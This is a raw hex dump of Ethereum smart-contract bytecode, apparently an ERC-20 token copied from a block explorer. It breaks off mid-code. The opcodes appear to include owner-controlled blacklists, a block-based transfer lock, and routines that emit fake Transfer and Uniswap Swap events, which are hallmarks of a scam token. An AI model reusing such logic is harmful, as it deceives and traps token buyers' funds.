ffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006119ed8484612dba565b600260149054906101000a900460ff168015611a535750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611aad5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611beb576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bea5743600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b8373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c2657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c6257600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cb057600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d3b57600080fd5b611d8d82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461303190919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e2282600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461304a90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef482600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461303190919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7f848484613068565b600190509392505050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561209b576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212f565b6120ae838261303190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000811515600260149054906101000a900460ff1615151415151561223f57600080fd5b81600260146101000a81548160ff02191690831515021790555060019050919050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600090505b835181101561241d578260056000868481518110151561234c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555083818151811015156123b557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d84604051808215151515815260200191505060405180910390a28080600101915050612330565b600191505092915050565b60006124343384612dba565b600260149054906101000a900460ff16801561249a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124f45750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612632576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156126315743600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561266e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156126a957600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156126f757600080fd5b61274982600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461303190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127de82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461304a90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061282c338484613068565b6001905092915050565b60008160088190555060019050919050565b6000811515600260159054906101000a900460ff1615151415151561286c57600080fd5b81600260156101000a81548160ff02191690831515021790555060019050919050565b6000811515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156128f057600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d83604051808215151515815260200191505060405180910390a26001905092915050565b6000612a3482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461304a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600090505b8351811015612d065782600460008684815181101515612c3557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508381815181101515612c9e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d84604051808215151515815260200191505060405180910390a28080600101915050612c19565b600191505092915050565b60008173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612d7057600080fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612e5e5750600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561302d5760001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612ec257600080fd5b60001515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612f2157600080fd5b60001515600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612f8057600080fd5b60001515600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806130215750600854600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540143105b151561302c57600080fd5b5b5050565b600082821115151561303f57fe5b818303905092915050565b600080828401905083811015151561305e57fe5b8091505092915050565b600260159054906101000a900460ff16156130b0576130aa600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168383612b9f565b506130bd565b6130bb838383612b9f565b505b5050505600a165627a7a72305820c7203a32e4b40b3091a23a0f7ba8fee866bd7a21567326bcd5823ae1b0892827002900000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000c765faeca19b33483f2a105e7b02e309393a45b0000000000000000000000000c765faeca19b33483f2a105e7b02e309393a45b0000000000000000000000000c765faeca19b33483f2a105e7b02e309393a45b00000000000000000000000000000000000000000000000000000000000000003585858000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035858580000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305eb2a0d1461015957806306fdde03146101c05780630713522114610250578063095ea7b3146102b757806318160ddd1461031c57806323b872dd14610347578063313ce567146103cc57806366188463146103f757806366cd4df41461045c57806370a08231146104a3578063715018a6146104fa5780638da5cb5b14610511578063936b2d6e1461056857806395d89b41146105f25780639ebbaef714610682578063a9059cbb146106c7578063acdd08e11461072c578063b6fccf8a14610771578063b73326ea146107c8578063be40ad941461080f578063c048092514610876578063d73dd6231461099a578063dd62ed3e146109ff578063e156b1b614610a76578063eb5a479d14610afb578063f4c2baa914610b85575b600080fd5b34801561016557600080fd5b506101a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610be0565b604051808215151515815260200191505060405180910390f35b3480156101cc57600080fd5b506101d5610c50565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102155780820151818401526020810190506101fa565b50505050905090810190601f1680156102425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025c57600080fd5b5061029d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610cee565b604051808215151515815260200191505060405180910390f35b3480156102c357600080fd5b50610302600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b34801561032857600080fd5b50610331610d72565b6040518082815260200191505060405180910390f35b34801561035357600080fd5b506103b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d78565b604051808215151515815260200191505060405180910390f35b3480156103d857600080fd5b506103e1610d8e565b6040518082815260200191505060405180910390f35b34801561040357600080fd5b50610442600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d94565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b50610489600480360381019080803515159060200190929190505050610da8565b604051808215151515815260200191505060405180910390f35b3480156104af57600080fd5b506104e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e16565b6040518082815260200191505060405180910390f35b34801561050657600080fd5b5061050f610e5f565b005b34801561051d57600080fd5b50610526610ec7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057457600080fd5b506105d860048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050610eed565b604051808215151515815260200191505060405180910390f35b3480156105fe57600080fd5b50610607610f5d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064757808201518184015260208101905061062c565b50505050905090810190601f1680156106745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561068e57600080fd5b506106c560048036038101908080359060200190820180359060200191909192939192939080359060200190929190505050610ffb565b005b3480156106d357600080fd5b50610712600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ae565b604051808215151515815260200191505060405180910390f35b34801561073857600080fd5b50610757600480360381019080803590602001909291905050506110c2565b604051808215151515815260200191505060405180910390f35b34801561077d57600080fd5b50610786611130565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107d457600080fd5b506107f5600480360381019080803515159060200190929190505050611156565b604051808215151515815260200191505060405180910390f35b34801561081b57600080fd5b5061085c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506111c4565b604051808215151515815260200191505060405180910390f35b34801561088257600080fd5b50610980600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611234565b604051808215151515815260200191505060405180910390f35b3480156109a657600080fd5b506109e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611538565b604051808215151515815260200191505060405180910390f35b348015610a0b57600080fd5b50610a60600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061154c565b6040518082815260200191505060405180910390f35b348015610a8257600080fd5b50610ae1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115d3565b604051808215151515815260200191505060405180910390f35b348015610b0757600080fd5b50610b6b600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035151590602001909291905050506115e9565b604051808215151515815260200191505060405180910390f35b348015610b9157600080fd5b50610bc6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611659565b604051808215151515815260200191505060405180910390f35b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3e57600080fd5b610c4883836116c7565b905092915050565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ce65780601f10610cbb57610100808354040283529160200191610ce6565b820191906000526020600020905b815481529060010190602001808311610cc957829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4c57600080fd5b610d5683836117db565b905092915050565b6000610d6a83836118ef565b905092915050565b60005481565b6000610d858484846119e1565b90509392505050565b600e5481565b6000610da08383611f8a565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0657600080fd5b610e0f8261221b565b9050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ebb57600080fd5b610ec56000612262565b565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4b57600080fd5b610f558383612328565b905092915050565b600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ff35780601f10610fc857610100808354040283529160200191610ff3565b820191906000526020600020905b815481529060010190602001808311610fd657829003601f168201915b505050505081565b60008090505b838390508110156110a8573073ffffffffffffffffffffffffffffffffffffffff16848483818110151561103157fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a38080600101915050611001565b50505050565b60006110ba8383612428565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112057600080fd5b61112982612836565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b457600080fd5b6111bd82612848565b9050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122257600080fd5b61122c838361288f565b905092915050565b600080600090505b855181101561152b57858181518110151561125357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811015156112db57fe5b906020019060200201516040518082815260200191505060405180910390a3858181518110151561130857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d7fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110151561136c57fe5b90602001906020020151600080898781518110151561138757fe5b906020019060200201516040518085815260200184815260200183815260200182815260200194505050505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811015156113e557fe5b90602001906020020151600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16878581518110151561142057fe5b906020019060200201516040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156114e257600080fd5b505af11580156114f6573d6000803e3d6000fd5b505050506040513d602081101561150c57600080fd5b810190808051906020019092919050505050808060010191505061123c565b6001915050949350505050565b600061154483836129a3565b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006115e0848484612b9f565b90509392505050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561164757600080fd5b6116518383612c11565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b757600080fd5b6116c082612d11565b9050919050565b6000811515600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561172857600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d83604051808215151515815260200191505060405180910390a26001905092915050565b6000811515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561183c57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d83604051808215151515815260200191505060405180910390a26001905092915050565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006119ed8484612dba565b600260149054906101000a900460ff168015611a535750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611aad5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611beb576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bea5743600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b8373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c2657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c6257600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cb057600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d3b57600080fd5b611d8d82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461303190919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e2282600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461304a90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef482600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461303190919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7f848484613068565b600190509392505050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561209b576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212f565b6120ae838261303190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000811515600260149054906101000a900460ff1615151415151561223f57600080fd5b81600260146101000a81548160ff02191690831515021790555060019050919050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600090505b835181101561241d578260056000868481518110151561234c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555083818151811015156123b557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d84604051808215151515815260200191505060405180910390a28080600101915050612330565b600191505092915050565b60006124343384612dba565b600260149054906101000a900460ff16801561249a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124f45750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612632576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156126315743600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561266e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156126a957600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156126f757600080fd5b61274982600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461303190919063ffffffff16565b600960003373ffffffff